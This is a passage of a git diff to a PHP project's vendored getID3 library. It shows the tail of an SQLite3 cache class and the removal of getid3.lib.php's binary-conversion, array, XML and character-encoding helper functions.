create_table() { + $db = $this->db; + $sql = $this->getQuery('make_table'); + return $db->exec($sql); + } + + /** + * get cached directory + * + * This function is not in the MySQL extention, it's ment to speed up requesting multiple files + * which is ideal for podcasting, playlists, etc. + * + * @param string $dir directory to search the cache database for + * + * @return array return an array of matching id3 data + */ + public function get_cached_dir($dir) { + $db = $this->db; + $rows = array(); + $sql = $this->getQuery('get_cached_dir'); + $stmt = $db->prepare($sql); + $stmt->bindValue(':dirname', $dir, SQLITE3_TEXT); + $res = $stmt->execute(); + while ($row=$res->fetchArray()) { + $rows[] = unserialize(base64_decode($row)); + } + return $rows; + } + + /** + * returns NULL if query is not found + * + * @param string $name + * + * @return null|string + */ + public function getQuery($name) + { + switch ($name) { + case 'version_check': + return "SELECT val FROM $this->table WHERE filename = :filename AND filesize = '-1' AND filetime = '-1' AND analyzetime = '-1'"; + case 'delete_cache': + return "DELETE FROM $this->table"; + case 'set_version': + return "INSERT INTO $this->table (filename, dirname, filesize, filetime, analyzetime, val) VALUES (:filename, :dirname, -1, -1, -1, :val)"; + case 'get_id3_data': + return "SELECT val FROM $this->table WHERE filename = :filename AND filesize = :filesize AND filetime = :filetime"; + case 'cache_file': + return "INSERT INTO $this->table (filename, dirname, filesize, filetime, analyzetime, val) VALUES (:filename, :dirname, :filesize, :filetime, :atime, :val)"; + case 'make_table': + return "CREATE TABLE IF NOT EXISTS $this->table (filename VARCHAR(255) DEFAULT '', dirname VARCHAR(255) DEFAULT '', filesize INT(11) DEFAULT '0', filetime INT(11) DEFAULT '0', analyzetime INT(11) DEFAULT '0', val text, PRIMARY KEY (filename, filesize, filetime))"; + case 'get_cached_dir': + return "SELECT val FROM $this->table WHERE dirname = :dirname"; + default: + return null; + } + } + + /** + * use the magical __get() for sql queries + * + * access as easy as $this->{case name}, returns NULL if query is not found + * + * @param string $name + * + * @return string + * @deprecated use getQuery() instead + */ + public function __get($name) { + return $this->getQuery($name); + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/getid3.lib.php b/vendor/james-heinrich/getid3/getid3/getid3.lib.php index 944214a6d7..a24a065252 100644 --- a/vendor/james-heinrich/getid3/getid3/getid3.lib.php +++ b/vendor/james-heinrich/getid3/getid3/getid3.lib.php @@ -1,1832 +1,1832 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// // -// getid3.lib.php - part of getID3() // -// see readme.txt for more details // -// /// -///////////////////////////////////////////////////////////////// - - -class getid3_lib -{ - /** - * @param string $string - * @param bool $hex - * @param bool $spaces - * @param string|bool $htmlencoding - * - * @return string - */ - public static function PrintHexBytes($string, $hex=true, $spaces=true, $htmlencoding='UTF-8') { - $returnstring = ''; - for ($i = 0; $i < strlen($string); $i++) { - if ($hex) { - $returnstring .= str_pad(dechex(ord($string[$i])), 2, '0', STR_PAD_LEFT); - } else { - $returnstring .= ' '.(preg_match("#[\x20-\x7E]#", $string[$i]) ? $string[$i] : '¤'); - } - if ($spaces) { - $returnstring .= ' '; - } - } - if (!empty($htmlencoding)) { - if ($htmlencoding === true) { - $htmlencoding = 'UTF-8'; // prior to getID3 v1.9.0 the function's 4th parameter was boolean - } - $returnstring = htmlentities($returnstring, ENT_QUOTES, $htmlencoding); - } - return $returnstring; - } - - /** - * Truncates a floating-point number at the decimal point. - * - * @param float $floatnumber - * - * @return float|int returns int (if possible, otherwise float) - */ - public static function trunc($floatnumber) { - if ($floatnumber >= 1) { - $truncatednumber = floor($floatnumber); - } elseif ($floatnumber <= -1) { - $truncatednumber = ceil($floatnumber); - } else { - $truncatednumber = 0; - } - if (self::intValueSupported($truncatednumber)) { - $truncatednumber = (int) $truncatednumber; - } - return $truncatednumber; - } - - /** - * @param int|null $variable - * @param int $increment - * - * @return bool - */ - public static function safe_inc(&$variable, $increment=1) { - if (isset($variable)) { - $variable += $increment; - } else { - $variable = $increment; - } - return true; - } - - /** - * @param int|float $floatnum - * - * @return int|float - */ - public static function CastAsInt($floatnum) { - // convert to float if not already - $floatnum = (float) $floatnum; - - // convert a float to type int, only if possible - if (self::trunc($floatnum) == $floatnum) { - // it's not floating point - if (self::intValueSupported($floatnum)) { - // it's within int range - $floatnum = (int) $floatnum; - } - } - return $floatnum; - } - - /** - * @param int $num - * - * @return bool - */ - public static function intValueSupported($num) { - // check if integers are 64-bit - static $hasINT64 = null; - if ($hasINT64 === null) { // 10x faster than is_null() - $hasINT64 = is_int(pow(2, 31)); // 32-bit int are limited to (2^31)-1 - if (!$hasINT64 && !defined('PHP_INT_MIN')) { - define('PHP_INT_MIN', ~PHP_INT_MAX); - } - } - // if integers are 64-bit - no other check required - if ($hasINT64 || (($num <= PHP_INT_MAX) && ($num >= PHP_INT_MIN))) { - return true; - } - return false; - } - - /** - * @param string $fraction - * - * @return float - */ - public static function DecimalizeFraction($fraction) { - list($numerator, $denominator) = explode('/', $fraction); - return $numerator / ($denominator ? $denominator : 1); - } - - /** - * @param string $binarynumerator - * - * @return float - */ - public static function DecimalBinary2Float($binarynumerator) { - $numerator = self::Bin2Dec($binarynumerator); - $denominator = self::Bin2Dec('1'.str_repeat('0', strlen($binarynumerator))); - return ($numerator / $denominator); - } - - /** - * @link http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/binary.html - * - * @param string $binarypointnumber - * @param int $maxbits - * - * @return array - */ - public static function NormalizeBinaryPoint($binarypointnumber, $maxbits=52) { - if (strpos($binarypointnumber, '.') === false) { - $binarypointnumber = '0.'.$binarypointnumber; - } elseif ($binarypointnumber[0] == '.') { - $binarypointnumber = '0'.$binarypointnumber; - } - $exponent = 0; - while (($binarypointnumber[0] != '1') || (substr($binarypointnumber, 1, 1) != '.')) { - if (substr($binarypointnumber, 1, 1) == '.') { - $exponent--; - $binarypointnumber = substr($binarypointnumber, 2, 1).'.'.substr($binarypointnumber, 3); - } else { - $pointpos = strpos($binarypointnumber, '.'); - $exponent += ($pointpos - 1); - $binarypointnumber = str_replace('.', '', $binarypointnumber); - $binarypointnumber = $binarypointnumber[0].'.'.substr($binarypointnumber, 1); - } - } - $binarypointnumber = str_pad(substr($binarypointnumber, 0, $maxbits + 2), $maxbits + 2, '0', STR_PAD_RIGHT); - return array('normalized'=>$binarypointnumber, 'exponent'=>(int) $exponent); - } - - /** - * @link http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/binary.html - * - * @param float $floatvalue - * - * @return string - */ - public static function Float2BinaryDecimal($floatvalue) { - $maxbits = 128; // to how many bits of precision should the calculations be taken? - $intpart = self::trunc($floatvalue); - $floatpart = abs($floatvalue - $intpart); - $pointbitstring = ''; - while (($floatpart != 0) && (strlen($pointbitstring) < $maxbits)) { - $floatpart *= 2; - $pointbitstring .= (string) self::trunc($floatpart); - $floatpart -= self::trunc($floatpart); - } - $binarypointnumber = decbin($intpart).'.'.$pointbitstring; - return $binarypointnumber; - } - - /** - * @link http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/ieee-expl.html - * - * @param float $floatvalue - * @param int $bits - * - * @return string|false - */ - public static function Float2String($floatvalue, $bits) { - $exponentbits = 0; - $fractionbits = 0; - switch ($bits) { - case 32: - $exponentbits = 8; - $fractionbits = 23; - break; - - case 64: - $exponentbits = 11; - $fractionbits = 52; - break; - - default: - return false; - } - if ($floatvalue >= 0) { - $signbit = '0'; - } else { - $signbit = '1'; - } - $normalizedbinary = self::NormalizeBinaryPoint(self::Float2BinaryDecimal($floatvalue), $fractionbits); - $biasedexponent = pow(2, $exponentbits - 1) - 1 + $normalizedbinary['exponent']; // (127 or 1023) +/- exponent - $exponentbitstring = str_pad(decbin($biasedexponent), $exponentbits, '0', STR_PAD_LEFT); - $fractionbitstring = str_pad(substr($normalizedbinary['normalized'], 2), $fractionbits, '0', STR_PAD_RIGHT); - - return self::BigEndian2String(self::Bin2Dec($signbit.$exponentbitstring.$fractionbitstring), $bits % 8, false); - } - - /** - * @param string $byteword - * - * @return float|false - */ - public static function LittleEndian2Float($byteword) { - return self::BigEndian2Float(strrev($byteword)); - } - - /** - * ANSI/IEEE Standard 754-1985, Standard for Binary Floating Point Arithmetic - * - * @link https://web.archive.org/web/20120325162206/http://www.psc.edu/general/software/packages/ieee/ieee.php - * @link http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/ieee.html - * - * @param string $byteword - * - * @return float|false - */ - public static function BigEndian2Float($byteword) { - $bitword = self::BigEndian2Bin($byteword); - if (!$bitword) { - return 0; - } - $signbit = $bitword[0]; - $floatvalue = 0; - $exponentbits = 0; - $fractionbits = 0; - - switch (strlen($byteword) * 8) { - case 32: - $exponentbits = 8; - $fractionbits = 23; - break; - - case 64: - $exponentbits = 11; - $fractionbits = 52; - break; - - case 80: - // 80-bit Apple SANE format - // http://www.mactech.com/articles/mactech/Vol.06/06.01/SANENormalized/ - $exponentstring = substr($bitword, 1, 15); - $isnormalized = intval($bitword[16]); - $fractionstring = substr($bitword, 17, 63); - $exponent = pow(2, self::Bin2Dec($exponentstring) - 16383); - $fraction = $isnormalized + self::DecimalBinary2Float($fractionstring); - $floatvalue = $exponent * $fraction; - if ($signbit == '1') { - $floatvalue *= -1; - } - return $floatvalue; - - default: - return false; - } - $exponentstring = substr($bitword, 1, $exponentbits); - $fractionstring = substr($bitword, $exponentbits + 1, $fractionbits); - $exponent = self::Bin2Dec($exponentstring); - $fraction = self::Bin2Dec($fractionstring); - - if (($exponent == (pow(2, $exponentbits) - 1)) && ($fraction != 0)) { - // Not a Number - $floatvalue = NAN; - } elseif (($exponent == (pow(2, $exponentbits) - 1)) && ($fraction == 0)) { - if ($signbit == '1') { - $floatvalue = -INF; - } else { - $floatvalue = INF; - } - } elseif (($exponent == 0) && ($fraction == 0)) { - if ($signbit == '1') { - $floatvalue = -0; - } else { - $floatvalue = 0; - } - $floatvalue = ($signbit ? 0 : -0); - } elseif (($exponent == 0) && ($fraction != 0)) { - // These are 'unnormalized' values - $floatvalue = pow(2, (-1 * (pow(2, $exponentbits - 1) - 2))) * self::DecimalBinary2Float($fractionstring); - if ($signbit == '1') { - $floatvalue *= -1; - } - } elseif ($exponent != 0) { - $floatvalue = pow(2, ($exponent - (pow(2, $exponentbits - 1) - 1))) * (1 + self::DecimalBinary2Float($fractionstring)); - if ($signbit == '1') { - $floatvalue *= -1; - } - } - return (float) $floatvalue; - } - - /** - * @param string $byteword - * @param bool $synchsafe - * @param bool $signed - * - * @return int|float|false - * @throws Exception - */ - public static function BigEndian2Int($byteword, $synchsafe=false, $signed=false) { - $intvalue = 0; - $bytewordlen = strlen($byteword); - if ($bytewordlen == 0) { - return false; - } - for ($i = 0; $i < $bytewordlen; $i++) { - if ($synchsafe) { // disregard MSB, effectively 7-bit bytes - //$intvalue = $intvalue | (ord($byteword{$i}) & 0x7F) << (($bytewordlen - 1 - $i) * 7); // faster, but runs into problems past 2^31 on 32-bit systems - $intvalue += (ord($byteword[$i]) & 0x7F) * pow(2, ($bytewordlen - 1 - $i) * 7); - } else { - $intvalue += ord($byteword[$i]) * pow(256, ($bytewordlen - 1 - $i)); - } - } - if ($signed && !$synchsafe) { - // synchsafe ints are not allowed to be signed - if ($bytewordlen <= PHP_INT_SIZE) { - $signMaskBit = 0x80 << (8 * ($bytewordlen - 1)); - if ($intvalue & $signMaskBit) { - $intvalue = 0 - ($intvalue & ($signMaskBit - 1)); - } - } else { - throw new Exception('ERROR: Cannot have signed integers larger than '.(8 * PHP_INT_SIZE).'-bits ('.strlen($byteword).') in self::BigEndian2Int()'); - } - } - return self::CastAsInt($intvalue); - } - - /** - * @param string $byteword - * @param bool $signed - * - * @return int|float|false - */ - public static function LittleEndian2Int($byteword, $signed=false) { - return self::BigEndian2Int(strrev($byteword), false, $signed); - } - - /** - * @param string $byteword - * - * @return string - */ - public static function LittleEndian2Bin($byteword) { - return self::BigEndian2Bin(strrev($byteword)); - } - - /** - * @param string $byteword - * - * @return string - */ - public static function BigEndian2Bin($byteword) { - $binvalue = ''; - $bytewordlen = strlen($byteword); - for ($i = 0; $i < $bytewordlen; $i++) { - $binvalue .= str_pad(decbin(ord($byteword[$i])), 8, '0', STR_PAD_LEFT); - } - return $binvalue; - } - - /** - * @param int $number - * @param int $minbytes - * @param bool $synchsafe - * @param bool $signed - * - * @return string - * @throws Exception - */ - public static function BigEndian2String($number, $minbytes=1, $synchsafe=false, $signed=false) { - if ($number < 0) { - throw new Exception('ERROR: self::BigEndian2String() does not support negative numbers'); - } - $maskbyte = (($synchsafe || $signed) ? 0x7F : 0xFF); - $intstring = ''; - if ($signed) { - if ($minbytes > PHP_INT_SIZE) { - throw new Exception('ERROR: Cannot have signed integers larger than '.(8 * PHP_INT_SIZE).'-bits in self::BigEndian2String()'); - } - $number = $number & (0x80 << (8 * ($minbytes - 1))); - } - while ($number != 0) { - $quotient = ($number / ($maskbyte + 1)); - $intstring = chr(ceil(($quotient - floor($quotient)) * $maskbyte)).$intstring; - $number = floor($quotient); - } - return str_pad($intstring, $minbytes, "\x00", STR_PAD_LEFT); - } - - /** - * @param int $number - * - * @return string - */ - public static function Dec2Bin($number) { - if (!is_numeric($number)) { - // https://github.com/JamesHeinrich/getID3/issues/299 - trigger_error('TypeError: Dec2Bin(): Argument #1 ($number) must be numeric, '.gettype($number).' given', E_USER_WARNING); - return ''; - } - $bytes = array(); - while ($number >= 256) { - $bytes[] = (int) (($number / 256) - (floor($number / 256))) * 256; - $number = floor($number / 256); - } - $bytes[] = (int) $number; - $binstring = ''; - foreach ($bytes as $i => $byte) { - $binstring = (($i == count($bytes) - 1) ? decbin($byte) : str_pad(decbin($byte), 8, '0', STR_PAD_LEFT)).$binstring; - } - return $binstring; - } - - /** - * @param string $binstring - * @param bool $signed - * - * @return int|float - */ - public static function Bin2Dec($binstring, $signed=false) { - $signmult = 1; - if ($signed) { - if ($binstring[0] == '1') { - $signmult = -1; - } - $binstring = substr($binstring, 1); - } - $decvalue = 0; - for ($i = 0; $i < strlen($binstring); $i++) { - $decvalue += ((int) substr($binstring, strlen($binstring) - $i - 1, 1)) * pow(2, $i); - } - return self::CastAsInt($decvalue * $signmult); - } - - /** - * @param string $binstring - * - * @return string - */ - public static function Bin2String($binstring) { - // return 'hi' for input of '0110100001101001' - $string = ''; - $binstringreversed = strrev($binstring); - for ($i = 0; $i < strlen($binstringreversed); $i += 8) { - $string = chr(self::Bin2Dec(strrev(substr($binstringreversed, $i, 8)))).$string; - } - return $string; - } - - /** - * @param int $number - * @param int $minbytes - * @param bool $synchsafe - * - * @return string - */ - public static function LittleEndian2String($number, $minbytes=1, $synchsafe=false) { - $intstring = ''; - while ($number > 0) { - if ($synchsafe) { - $intstring = $intstring.chr($number & 127); - $number >>= 7; - } else { - $intstring = $intstring.chr($number & 255); - $number >>= 8; - } - } - return str_pad($intstring, $minbytes, "\x00", STR_PAD_RIGHT); - } - - /** - * @param mixed $array1 - * @param mixed $array2 - * - * @return array|false - */ - public static function array_merge_clobber($array1, $array2) { - // written by kcØhireability*com - // taken from http://www.php.net/manual/en/function.array-merge-recursive.php - if (!is_array($array1) || !is_array($array2)) { - return false; - } - $newarray = $array1; - foreach ($array2 as $key => $val) { - if (is_array($val) && isset($newarray[$key]) && is_array($newarray[$key])) { - $newarray[$key] = self::array_merge_clobber($newarray[$key], $val); - } else { - $newarray[$key] = $val; - } - } - return $newarray; - } - - /** - * @param mixed $array1 - * @param mixed $array2 - * - * @return array|false - */ - public static function array_merge_noclobber($array1, $array2) { - if (!is_array($array1) || !is_array($array2)) { - return false; - } - $newarray = $array1; - foreach ($array2 as $key => $val) { - if (is_array($val) && isset($newarray[$key]) && is_array($newarray[$key])) { - $newarray[$key] = self::array_merge_noclobber($newarray[$key], $val); - } elseif (!isset($newarray[$key])) { - $newarray[$key] = $val; - } - } - return $newarray; - } - - /** - * @param mixed $array1 - * @param mixed $array2 - * - * @return array|false|null - */ - public static function flipped_array_merge_noclobber($array1, $array2) { - if (!is_array($array1) || !is_array($array2)) { - return false; - } - # naturally, this only works non-recursively - $newarray = array_flip($array1); - foreach (array_flip($array2) as $key => $val) { - if (!isset($newarray[$key])) { - $newarray[$key] = count($newarray); - } - } - return array_flip($newarray); - } - - /** - * @param array $theArray - * - * @return bool - */ - public static function ksort_recursive(&$theArray) { - ksort($theArray); - foreach ($theArray as $key => $value) { - if (is_array($value)) { - self::ksort_recursive($theArray[$key]); - } - } - return true; - } - - /** - * @param string $filename - * @param int $numextensions - * - * @return string - */ - public static function fileextension($filename, $numextensions=1) { - if (strstr($filename, '.')) { - $reversedfilename = strrev($filename); - $offset = 0; - for ($i = 0; $i < $numextensions; $i++) { - $offset = strpos($reversedfilename, '.', $offset + 1); - if ($offset === false) { - return ''; - } - } - return strrev(substr($reversedfilename, 0, $offset)); - } - return ''; - } - - /** - * @param int $seconds - * - * @return string - */ - public static function PlaytimeString($seconds) { - $sign = (($seconds < 0) ? '-' : ''); - $seconds = round(abs($seconds)); - $H = (int) floor( $seconds / 3600); - $M = (int) floor(($seconds - (3600 * $H) ) / 60); - $S = (int) round( $seconds - (3600 * $H) - (60 * $M) ); - return $sign.($H ? $H.':' : '').($H ? str_pad($M, 2, '0', STR_PAD_LEFT) : intval($M)).':'.str_pad($S, 2, 0, STR_PAD_LEFT); - } - - /** - * @param int $macdate - * - * @return int|float - */ - public static function DateMac2Unix($macdate) { - // Macintosh timestamp: seconds since 00:00h January 1, 1904 - // UNIX timestamp: seconds since 00:00h January 1, 1970 - return self::CastAsInt($macdate - 2082844800); - } - - /** - * @param string $rawdata - * - * @return float - */ - public static function FixedPoint8_8($rawdata) { - return self::BigEndian2Int(substr($rawdata, 0, 1)) + (float) (self::BigEndian2Int(substr($rawdata, 1, 1)) / pow(2, 8)); - } - - /** - * @param string $rawdata - * - * @return float - */ - public static function FixedPoint16_16($rawdata) { - return self::BigEndian2Int(substr($rawdata, 0, 2)) + (float) (self::BigEndian2Int(substr($rawdata, 2, 2)) / pow(2, 16)); - } - - /** - * @param string $rawdata - * - * @return float - */ - public static function FixedPoint2_30($rawdata) { - $binarystring = self::BigEndian2Bin($rawdata); - return self::Bin2Dec(substr($binarystring, 0, 2)) + (float) (self::Bin2Dec(substr($binarystring, 2, 30)) / pow(2, 30)); - } - - - /** - * @param string $ArrayPath - * @param string $Separator - * @param mixed $Value - * - * @return array - */ - public static function CreateDeepArray($ArrayPath, $Separator, $Value) { - // assigns $Value to a nested array path: - // $foo = self::CreateDeepArray('/path/to/my', '/', 'file.txt') - // is the same as: - // $foo = array('path'=>array('to'=>'array('my'=>array('file.txt')))); - // or - // $foo['path']['to']['my'] = 'file.txt'; - $ArrayPath = ltrim($ArrayPath, $Separator); - $ReturnedArray = array(); - if (($pos = strpos($ArrayPath, $Separator)) !== false) { - $ReturnedArray[substr($ArrayPath, 0, $pos)] = self::CreateDeepArray(substr($ArrayPath, $pos + 1), $Separator, $Value); - } else { - $ReturnedArray[$ArrayPath] = $Value; - } - return $ReturnedArray; - } - - /** - * @param array $arraydata - * @param bool $returnkey - * - * @return int|false - */ - public static function array_max($arraydata, $returnkey=false) { - $maxvalue = false; - $maxkey = false; - foreach ($arraydata as $key => $value) { - if (!is_array($value)) { - if (($maxvalue === false) || ($value > $maxvalue)) { - $maxvalue = $value; - $maxkey = $key; - } - } - } - return ($returnkey ? $maxkey : $maxvalue); - } - - /** - * @param array $arraydata - * @param bool $returnkey - * - * @return int|false - */ - public static function array_min($arraydata, $returnkey=false) { - $minvalue = false; - $minkey = false; - foreach ($arraydata as $key => $value) { - if (!is_array($value)) { - if (($minvalue === false) || ($value < $minvalue)) { - $minvalue = $value; - $minkey = $key; - } - } - } - return ($returnkey ? $minkey : $minvalue); - } - - /** - * @param string $XMLstring - * - * @return array|false - */ - public static function XML2array($XMLstring) { - if (function_exists('simplexml_load_string') && function_exists('libxml_disable_entity_loader')) { - // http://websec.io/2012/08/27/Preventing-XEE-in-PHP.html - // https://core.trac.wordpress.org/changeset/29378 - // This function has been deprecated in PHP 8.0 because in libxml 2.9.0, external entity loading is - // disabled by default, but is still needed when LIBXML_NOENT is used. - $loader = @libxml_disable_entity_loader(true); - $XMLobject = simplexml_load_string($XMLstring, 'SimpleXMLElement', LIBXML_NOENT); - $return = self::SimpleXMLelement2array($XMLobject); - @libxml_disable_entity_loader($loader); - return $return; - } - return false; - } - - /** - * @param SimpleXMLElement|array|mixed $XMLobject - * - * @return mixed - */ - public static function SimpleXMLelement2array($XMLobject) { - if (!is_object($XMLobject) && !is_array($XMLobject)) { - return $XMLobject; - } - $XMLarray = $XMLobject instanceof SimpleXMLElement ? get_object_vars($XMLobject) : $XMLobject; - foreach ($XMLarray as $key => $value) { - $XMLarray[$key] = self::SimpleXMLelement2array($value); - } - return $XMLarray; - } - - /** - * Returns checksum for a file from starting position to absolute end position. - * - * @param string $file - * @param int $offset - * @param int $end - * @param string $algorithm - * - * @return string|false - * @throws getid3_exception - */ - public static function hash_data($file, $offset, $end, $algorithm) { - if (!self::intValueSupported($end)) { - return false; - } - if (!in_array($algorithm, array('md5', 'sha1'))) { - throw new getid3_exception('Invalid algorithm ('.$algorithm.') in self::hash_data()'); - } - - $size = $end - $offset; - - $fp = fopen($file, 'rb'); - fseek($fp, $offset); - $ctx = hash_init($algorithm); - while ($size > 0) { - $buffer = fread($fp, min($size, getID3::FREAD_BUFFER_SIZE)); - hash_update($ctx, $buffer); - $size -= getID3::FREAD_BUFFER_SIZE; - } - $hash = hash_final($ctx); - fclose($fp); - - return $hash; - } - - /** - * @param string $filename_source - * @param string $filename_dest - * @param int $offset - * @param int $length - * - * @return bool - * @throws Exception - * - * @deprecated Unused, may be removed in future versions of getID3 - */ - public static function CopyFileParts($filename_source, $filename_dest, $offset, $length) { - if (!self::intValueSupported($offset + $length)) { - throw new Exception('cannot copy file portion, it extends beyond the '.round(PHP_INT_MAX / 1073741824).'GB limit'); - } - if (is_readable($filename_source) && is_file($filename_source) && ($fp_src = fopen($filename_source, 'rb'))) { - if (($fp_dest = fopen($filename_dest, 'wb'))) { - if (fseek($fp_src, $offset) == 0) { - $byteslefttowrite = $length; - while (($byteslefttowrite > 0) && ($buffer = fread($fp_src, min($byteslefttowrite, getID3::FREAD_BUFFER_SIZE)))) { - $byteswritten = fwrite($fp_dest, $buffer, $byteslefttowrite); - $byteslefttowrite -= $byteswritten; - } - fclose($fp_dest); - return true; - } else { - fclose($fp_src); - throw new Exception('failed to seek to offset '.$offset.' in '.$filename_source); - } - } else { - throw new Exception('failed to create file for writing '.$filename_dest); - } - } else { - throw new Exception('failed to open file for reading '.$filename_source); - } - } - - /** - * @param int $charval - * - * @return string - */ - public static function iconv_fallback_int_utf8($charval) { - if ($charval < 128) { - // 0bbbbbbb - $newcharstring = chr($charval); - } elseif ($charval < 2048) { - // 110bbbbb 10bbbbbb - $newcharstring = chr(($charval >> 6) | 0xC0); - $newcharstring .= chr(($charval & 0x3F) | 0x80); - } elseif ($charval < 65536) { - // 1110bbbb 10bbbbbb 10bbbbbb - $newcharstring = chr(($charval >> 12) | 0xE0); - $newcharstring .= chr(($charval >> 6) | 0xC0); - $newcharstring .= chr(($charval & 0x3F) | 0x80); - } else { - // 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb - $newcharstring = chr(($charval >> 18) | 0xF0); - $newcharstring .= chr(($charval >> 12) | 0xC0); - $newcharstring .= chr(($charval >> 6) | 0xC0); - $newcharstring .= chr(($charval & 0x3F) | 0x80); - } - return $newcharstring; - } - - /** - * ISO-8859-1 => UTF-8 - * - * @param string $string - * @param bool $bom - * - * @return string - */ - public static function iconv_fallback_iso88591_utf8($string, $bom=false) { - if (function_exists('utf8_encode')) { - return utf8_encode($string); - } - // utf8_encode() unavailable, use getID3()'s iconv_fallback() conversions (possibly PHP is compiled without XML support) - $newcharstring = ''; - if ($bom) { - $newcharstring .= "\xEF\xBB\xBF"; - } - for ($i = 0; $i < strlen($string); $i++) { - $charval = ord($string[$i]); - $newcharstring .= self::iconv_fallback_int_utf8($charval); - } - return $newcharstring; - } - - /** - * ISO-8859-1 => UTF-16BE - * - * @param string $string - * @param bool $bom - * - * @return string - */ - public static function iconv_fallback_iso88591_utf16be($string, $bom=false) { - $newcharstring = ''; - if ($bom) { - $newcharstring .= "\xFE\xFF"; - } - for ($i = 0; $i < strlen($string); $i++) { - $newcharstring .= "\x00".$string[$i]; - } - return $newcharstring; - } - - /** - * ISO-8859-1 => UTF-16LE - * - * @param string $string - * @param bool $bom - * - * @return string - */ - public static function iconv_fallback_iso88591_utf16le($string, $bom=false) { - $newcharstring = ''; - if ($bom) { - $newcharstring .= "\xFF\xFE"; - } - for ($i = 0; $i < strlen($string); $i++) { - $newcharstring .= $string[$i]."\x00"; - } - return $newcharstring; - } - - /** - * ISO-8859-1 => UTF-16LE (BOM) - * - * @param string $string - * - * @return string - */ - public static function iconv_fallback_iso88591_utf16($string) { - return self::iconv_fallback_iso88591_utf16le($string, true); - } - - /** - * UTF-8 => ISO-8859-1 - * - * @param string $string - * - * @return string - */ - public static function iconv_fallback_utf8_iso88591($string) { - if (function_exists('utf8_decode')) { - return utf8_decode($string); - } - // utf8_decode() unavailable, use getID3()'s iconv_fallback() conversions (possibly PHP is compiled without XML support) - $newcharstring = ''; - $offset = 0; - $stringlength = strlen($string); - while ($offset < $stringlength) { - if ((ord($string[$offset]) | 0x07) == 0xF7) { - // 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb - $charval = ((ord($string[($offset + 0)]) & 0x07) << 18) & - ((ord($string[($offset + 1)]) & 0x3F) << 12) & - ((ord($string[($offset + 2)]) & 0x3F) << 6) & - (ord($string[($offset + 3)]) & 0x3F); - $offset += 4; - } elseif ((ord($string[$offset]) | 0x0F) == 0xEF) { - // 1110bbbb 10bbbbbb 10bbbbbb - $charval = ((ord($string[($offset + 0)]) & 0x0F) << 12) & - ((ord($string[($offset + 1)]) & 0x3F) << 6) & - (ord($string[($offset + 2)]) & 0x3F); - $offset += 3; - } elseif ((ord($string[$offset]) | 0x1F) == 0xDF) { - // 110bbbbb 10bbbbbb - $charval = ((ord($string[($offset + 0)]) & 0x1F) << 6) & - (ord($string[($offset + 1)]) & 0x3F); - $offset += 2; - } elseif ((ord($string[$offset]) | 0x7F) == 0x7F) { - // 0bbbbbbb - $charval = ord($string[$offset]); - $offset += 1; - } else { - // error? throw some kind of warning here? - $charval = false; - $offset += 1; - } - if ($charval !== false) { - $newcharstring .= (($charval < 256) ? chr($charval) : '?'); - } - } - return $newcharstring; - } - - /** - * UTF-8 => UTF-16BE - * - * @param string $string - * @param bool $bom - * - * @return string - */ - public static function iconv_fallback_utf8_utf16be($string, $bom=false) { - $newcharstring = ''; - if ($bom) { - $newcharstring .= "\xFE\xFF"; - } - $offset = 0; - $stringlength = strlen($string); - while ($offset < $stringlength) { - if ((ord($string[$offset]) | 0x07) == 0xF7) { - // 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb - $charval = ((ord($string[($offset + 0)]) & 0x07) << 18) & - ((ord($string[($offset + 1)]) & 0x3F) << 12) & - ((ord($string[($offset + 2)]) & 0x3F) << 6) & - (ord($string[($offset + 3)]) & 0x3F); - $offset += 4; - } elseif ((ord($string[$offset]) | 0x0F) == 0xEF) { - // 1110bbbb 10bbbbbb 10bbbbbb - $charval = ((ord($string[($offset + 0)]) & 0x0F) << 12) & - ((ord($string[($offset + 1)]) & 0x3F) << 6) & - (ord($string[($offset + 2)]) & 0x3F); - $offset += 3; - } elseif ((ord($string[$offset]) | 0x1F) == 0xDF) { - // 110bbbbb 10bbbbbb - $charval = ((ord($string[($offset + 0)]) & 0x1F) << 6) & - (ord($string[($offset + 1)]) & 0x3F); - $offset += 2; - } elseif ((ord($string[$offset]) | 0x7F) == 0x7F) { - // 0bbbbbbb - $charval = ord($string[$offset]); - $offset += 1; - } else { - // error? throw some kind of warning here? - $charval = false; - $offset += 1; - } - if ($charval !== false) { - $newcharstring .= (($charval < 65536) ? self::BigEndian2String($charval, 2) : "\x00".'?'); - } - } - return $newcharstring; - } - - /** - * UTF-8 => UTF-16LE - * - * @param string $string - * @param bool $bom - * - * @return string - */ - public static function iconv_fallback_utf8_utf16le($string, $bom=false) { - $newcharstring = ''; - if ($bom) { - $newcharstring .= "\xFF\xFE"; - } - $offset = 0; - $stringlength = strlen($string); - while ($offset < $stringlength) { - if ((ord($string[$offset]) | 0x07) == 0xF7) { - // 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb - $charval = ((ord($string[($offset + 0)]) & 0x07) << 18) & - ((ord($string[($offset + 1)]) & 0x3F) << 12) & - ((ord($string[($offset + 2)]) & 0x3F) << 6) & - (ord($string[($offset + 3)]) & 0x3F); - $offset += 4; - } elseif ((ord($string[$offset]) | 0x0F) == 0xEF) { - // 1110bbbb 10bbbbbb 10bbbbbb - $charval = ((ord($string[($offset + 0)]) & 0x0F) << 12) & - ((ord($string[($offset + 1)]) & 0x3F) << 6) & - (ord($string[($offset + 2)]) & 0x3F); - $offset += 3; - } elseif ((ord($string[$offset]) | 0x1F) == 0xDF) { - // 110bbbbb 10bbbbbb - $charval = ((ord($string[($offset + 0)]) & 0x1F) << 6) & - (ord($string[($offset + 1)]) & 0x3F); - $offset += 2; - } elseif ((ord($string[$offset]) | 0x7F) == 0x7F) { - // 0bbbbbbb - $charval = ord($string[$offset]); - $offset += 1; - } else { - // error? maybe throw some warning here? - $charval = false; - $offset += 1; - } - if ($charval !== false) { - $newcharstring .= (($charval < 65536) ? self::LittleEndian2String($charval, 2) : '?'."\x00"); - } - } - return $newcharstring; - } - - /** - * UTF-8 => UTF-16LE (BOM) - * - * @param string $string - * - * @return string - */ - public static function iconv_fallback_utf8_utf16($string) { - return self::iconv_fallback_utf8_utf16le($string, true); - } - - /** - * 